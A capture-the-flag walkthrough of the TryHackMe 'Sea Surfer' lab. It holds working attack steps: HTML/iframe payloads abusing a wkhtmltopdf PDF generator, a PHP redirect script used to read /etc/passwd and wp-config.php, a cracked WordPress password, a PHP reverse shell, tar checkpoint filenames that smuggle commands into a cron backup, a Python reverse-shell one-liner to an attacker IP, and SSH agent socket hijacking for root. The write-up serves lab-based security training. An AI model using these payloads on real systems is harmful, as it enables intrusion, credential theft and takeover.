Sea Surfer (hard) — TryHackMe writeup
Ride the Wave!
Nmap scan of the target IP reveals that port 22/ssh and port 80/http are open.
On port 80, navigating to the IP address in the browser will return the Apache2 Ubuntu default page.
Scan the path using Gobuster with the wordlist common.txt
Use Burp Proxy to view the site map and inspect the HTTP request/response pairs. A response to a GET request for this site was found with the X-Backend-Server header, which gives us a usable hostname. Add seasurfer.thm
to /etc/hosts
.
When navigating to seasurfer.thm
, a different site will appear.
It appears to be a WordPress site about a surf shop in Los Angeles. There is a list of staff members on this page, which gives us possible usernames. We are particularly interested in Kyle, as he is the company’s administrator.
Try using Gobuster again on the host seasurfer.thm
, this time with the larger wordlist big.txt
. This will reveal the /adminer/
directory, and when you navigate to this path, you'll find a generic MySQL administration panel. However, set this aside for later.
It is apparent that Sea Surfer will be updating the site to include an online store soon. Even more interesting, under the blog post, there is a comment by Brandon. The comment mentions the subdomain internal.seasurfer.thm
, which is for employees only, where they can generate receipts for customers.
We encountered an HTML input form for customer orders. Entering fake values and pressing ‘Generate Receipt’.
It will generate a PDF and redirect us here. If you see a PDF generator somewhere, it indicates a potential vulnerability.
PDF generator vulnerabilities are common. By default, HTML to PDF generators parse user input strings as HTML, including JavaScript! This creates a vulnerability where XSS is no longer on the client side but executed on the server, often leading to SSRF (Server-Side Request Forgery).
Try inserting HTML into the comment field, like <img src=x onerror=document.write(1337)>
, and fill in the remaining fields with fake values.
If the PDF generator is vulnerable, we should receive a PDF file with the number 1337 in it.
Start a Netcat listener on a chosen port, such as 5555. Now, let’s follow the same steps as in the initial PoC, but with the following payload: <iframe src="http://<ATTACKERIP>:<port>/" >
.
We received a connection in the form of an HTTP request.
What PDF generator is being used here, and which version? The name of the generator, wkhtmltopdf
, is visible in the User-Agent header we received earlier in Netcat. To get the version, we can try looking at the metadata of the downloaded PDF using the command pdfinfo <file>.pdf
and search for information using these keywords: 'wkhtmltopdf', 'ssrf', 'xss', 'lfi'.
https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/
http://hassankhanyusufzai.com/SSRF-to-LFI/
It seems that by default, wkhtmltopdf
does not properly check if the redirection leads to a local file and retrieves such data. Let's create a diagram of this.
According to the metadata, the version on the server is 0.12.5. So, let’s try exploiting this vulnerability. A working PHP server is required. Fortunately, we have a LAMP stack running. We will create this payload code.
<?php
$loc = “http://127.0.0.1/"; if(isset($_GET[‘p’])){ $loc = $_GET[‘p’]; } header(‘Location: ‘.$loc);
?>
It will be named `surf.php`.
The simple command php -S 0.0.0.0:80
is sufficient to host the PHP file, but we can't use python -m http.server
as usual because our code won't execute. To try exploiting the redirection vulnerability, we entered the following payload into the receipt generator, just like before.
<iframe height=3000 src="http://<ATTACKERIP>/surf.php?p=file:///etc/passwd">
Now we have a way to read files on the server. Since the wkhtmltopdf
command runs as the www-data
user, we are somewhat limited in what we can read. However, starting in the /var/www/
directory is always a good approach because we should have almost full access there. Often, database credentials for web applications are hardcoded into configuration files.
A common example of such behavior is WordPress, which by default has database credentials entered into the wp-config.php
file. As we know, there is an instance running on the server. Additionally, we found the /adminer/
directory, where we can log in to the SQL server.
After testing the SSRF -> LFI vulnerability, we found the WordPress configuration file at /var/www/wordpress/wp-config.php
.
Go back to /adminer
and fill in the username, password, and database.
Navigate to the Database page and click on wp_users
.
We have two options here: add a new administrator in WordPress or try to crack the existing administrator’s password. Since the password appears to be hashed with phpass
, which is a very weak algorithm, let's try cracking it.
Use john -w=/usr/share/wordlists/rockyou.txt kyle_wp.hash
to get the password, which is jenny4ever
Now that we have the credentials, log in to WordPress using the default endpoint /wp-admin
.
WordPress is well-known for its RCE (Remote Code Execution) capabilities by default for administrators.
Upload a PHP reverse shell to the 404 Template through Appearance -> Theme File Editor -> 404 Template. Save it and then navigate to http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php
while keeping Netcat open to receive the shell from the target.
Since we are still the www-data
user, we can't do much. Our access is mostly limited to the web server directories and the regular Linux files accessible to the system. So, we navigate to /var/www/internal/maintenance
, which we have access to, and find a file called backup.sh
.
This script runs every minute, possibly in Kyle’s crontab. Unfortunately, the www-data
user cannot write to the script. In bash, the wildcard *
expands to all files in the specified directory. A command like rm *
in a directory containing files foo
and bar
would execute as rm foo bar
.
Now, some programs like tar
or rsync
, often used in backup commands, have command-line switches that can execute files. Specifically, in tar
, there's a checkpoint switch that can execute commands at certain points during runtime. If a wildcard is used, and some files in that directory are named with --checkpoint
, it could exploit this behavior.
Since we have write permissions in /var/www/internal/invoices/
, we can introduce some checkpoint files that trigger a reverse shell script by using the following command.
cd ../invoices
echo $’/usr/bin/python3 -c \’import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”<IP Attacker>\”,<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\”/bin/sh\”)\’’ > shell.sh
echo “” > “ — checkpoint-action=exec=sh shell.sh”
echo “” > — checkpoint=1
Now, the cronjob that runs every minute should execute as follows.
tar -zcf /home/kyle/backups/invoices.tgz — checkpoint=1 ‘ — checkpoint-action=exec=sh shell.sh’ receipt1.pdf receipt2.pdf
After waiting for a moment, the shell appeared on our machine, where we have kyle
privileges, and we retrieved the user flag.
It was found that PAM for sudo in /etc/pam.d/sudo
, when read, is configured to accept SSH keys.
Running the command ps aux
will reveal that Kyle has also SSH'd into the box and used sudo.
The ps aux
command is a tool used to check the processes running on your Linux system. A process is associated with any program running on your system, and it is used to manage and monitor the program's memory usage, CPU time, and I/O resources. Since the ps aux
command provides an overview of all running processes, it is an excellent tool for understanding and troubleshooting the health and status of your Linux system.
ps aux
displays the most comprehensive information that users typically need to understand the current state of their system's running processes.
We found an SSH agent socket file for a shell process that we can access in /tmp
.
After reading about pam_ssh_agent_auth
, all that needs to be done is to set SSH_AUTH_SOCK
with the command: export SSH_AUTH_SOCK=/tmp/ssh-<>/agent.1138
and then add the location to the environment variable with the command ssh-add -l
. PAM will then allow us to use sudo
.
Run sudo su
to gain the highest privileges on the system, and you'll find the root.txt
flag in /root
.